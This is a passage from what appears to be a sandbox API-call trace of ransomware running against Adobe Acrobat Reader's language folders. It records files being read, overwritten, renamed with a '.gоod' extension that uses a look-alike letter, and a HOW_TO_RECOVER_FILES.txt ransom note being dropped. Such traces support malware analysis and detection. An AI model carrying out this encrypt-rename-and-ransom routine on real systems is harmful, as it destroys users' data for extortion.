lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0269.066] FindClose (in: hFindFile=0x134afe0 | out: hFindFile=0x134afe0) returned 1 [0269.066] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0269.066] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0269.066] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0269.066] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sl-si", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sl-si", lpFilePart=0x0) returned 0x77 [0269.066] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sl-si\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b0a0 [0269.066] FindNextFileW (in: hFindFile=0x134b0a0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0269.066] FindNextFileW (in: hFindFile=0x134b0a0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x556, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0269.067] FindNextFileW (in: hFindFile=0x134b0a0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x556, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0269.067] FindClose (in: hFindFile=0x134b0a0 | out: hFindFile=0x134b0a0) returned 1 [0269.067] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0269.067] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0269.067] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sl-si\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sl-si\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0269.067] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0269.067] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sl-si\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sl-si\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3780cc0 | out: lpFileInformation=0x3780cc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x556)) returned 1 [0269.067] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0269.067] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sl-si\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1f9ee040, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sl-si\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0269.067] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee560) returned 1 [0269.067] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sl-si\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sl-si\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0269.067] GetFileType (hFile=0x858) returned 0x1 [0269.068] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee4d0) returned 1 [0269.068] GetFileType (hFile=0x858) returned 0x1 [0269.068] GetFileSize (in: hFile=0x858, lpFileSizeHigh=0x1f9ee708 | out: lpFileSizeHigh=0x1f9ee708*=0x0) returned 0x556 [0269.068] ReadFile (in: hFile=0x858, lpBuffer=0x37815c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee638, lpOverlapped=0x0 | out: lpBuffer=0x37815c0*, lpNumberOfBytesRead=0x1f9ee638*=0x556, lpOverlapped=0x0) returned 1 [0269.072] CloseHandle (hObject=0x858) returned 1 [0269.097] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sl-si\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1f9ee040, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sl-si\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0269.098] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee560) returned 1 [0269.098] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sl-si\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sl-si\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0269.098] GetFileType (hFile=0x858) returned 0x1 [0269.098] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee4d0) returned 1 [0269.098] GetFileType (hFile=0x858) returned 0x1 [0269.098] WriteFile (in: hFile=0x858, lpBuffer=0x380ab00*, nNumberOfBytesToWrite=0x560, lpNumberOfBytesWritten=0x1f9ee548, lpOverlapped=0x0 | out: lpBuffer=0x380ab00*, lpNumberOfBytesWritten=0x1f9ee548*=0x560, lpOverlapped=0x0) returned 1 [0269.099] CloseHandle (hObject=0x858) returned 1 [0269.099] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sl-si\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sl-si\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0269.099] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sl-si\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sl-si\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x8a [0269.099] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0269.099] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sl-si\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sl-si\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x9c9b44f1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x560)) returned 1 [0269.099] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0269.099] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sl-si\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sl-si\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sl-si\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sl-si\\ui-strings.js.gоod")) returned 1 [0269.100] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sl-si\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ee350, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sl-si\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x90 [0269.100] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee870) returned 1 [0269.100] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sl-si\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sl-si\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x808 [0269.335] GetFileType (hFile=0x808) returned 0x1 [0269.335] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee7e0) returned 1 [0269.335] GetFileType (hFile=0x808) returned 0x1 [0269.335] WriteFile (in: hFile=0x808, lpBuffer=0x3763648*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ee938, lpOverlapped=0x0 | out: lpBuffer=0x3763648*, lpNumberOfBytesWritten=0x1f9ee938*=0x5d0, lpOverlapped=0x0) returned 1 [0269.336] CloseHandle (hObject=0x808) returned 1 [0269.336] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0269.336] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sl-sl", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sl-sl", lpFilePart=0x0) returned 0x77 [0269.458] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sl-sl\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aec0 [0269.939] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0269.939] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0269.940] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0269.940] FindClose (in: hFindFile=0x134aec0 | out: hFindFile=0x134aec0) returned 1 [0269.940] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0269.940] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0269.940] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0269.940] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sl-sl", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sl-sl", lpFilePart=0x0) returned 0x77 [0269.940] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sl-sl\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a860 [0269.940] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0269.940] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0269.941] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0269.941] FindClose (in: hFindFile=0x134a860 | out: hFindFile=0x134a860) returned 1 [0269.941] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0269.941] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0269.941] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sl-sl\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sl-sl\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0269.941] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0269.941] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sl-sl\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sl-sl\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3777b60 | out: lpFileInformation=0x3777b60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4d8)) returned 1 [0269.941] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0269.941] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sl-sl\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1f9ee040, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sl-sl\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0269.941] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee560) returned 1 [0269.941] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sl-sl\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sl-sl\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0269.941] GetFileType (hFile=0x824) returned 0x1 [0269.942] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee4d0) returned 1 [0269.942] GetFileType (hFile=0x824) returned 0x1 [0269.942] GetFileSize (in: hFile=0x824, lpFileSizeHigh=0x1f9ee708 | out: lpFileSizeHigh=0x1f9ee708*=0x0) returned 0x4d8 [0269.942] ReadFile (in: hFile=0x824, lpBuffer=0x37783e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee638, lpOverlapped=0x0 | out: lpBuffer=0x37783e0*, lpNumberOfBytesRead=0x1f9ee638*=0x4d8, lpOverlapped=0x0) returned 1 [0269.942] CloseHandle (hObject=0x824) returned 1 [0269.969] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sl-sl\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1f9ee040, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sl-sl\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0269.969] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee560) returned 1 [0269.969] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sl-sl\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sl-sl\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0269.971] GetFileType (hFile=0x824) returned 0x1 [0269.971] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee4d0) returned 1 [0269.971] GetFileType (hFile=0x824) returned 0x1 [0269.971] WriteFile (in: hFile=0x824, lpBuffer=0x37f1370*, nNumberOfBytesToWrite=0x4e0, lpNumberOfBytesWritten=0x1f9ee548, lpOverlapped=0x0 | out: lpBuffer=0x37f1370*, lpNumberOfBytesWritten=0x1f9ee548*=0x4e0, lpOverlapped=0x0) returned 1 [0269.971] CloseHandle (hObject=0x824) returned 1 [0269.971] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sl-sl\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sl-sl\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0269.971] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sl-sl\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sl-sl\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x8a [0269.971] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0269.971] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sl-sl\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sl-sl\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x9d21f0ee, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4e0)) returned 1 [0269.971] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0269.972] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sl-sl\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sl-sl\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sl-sl\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader 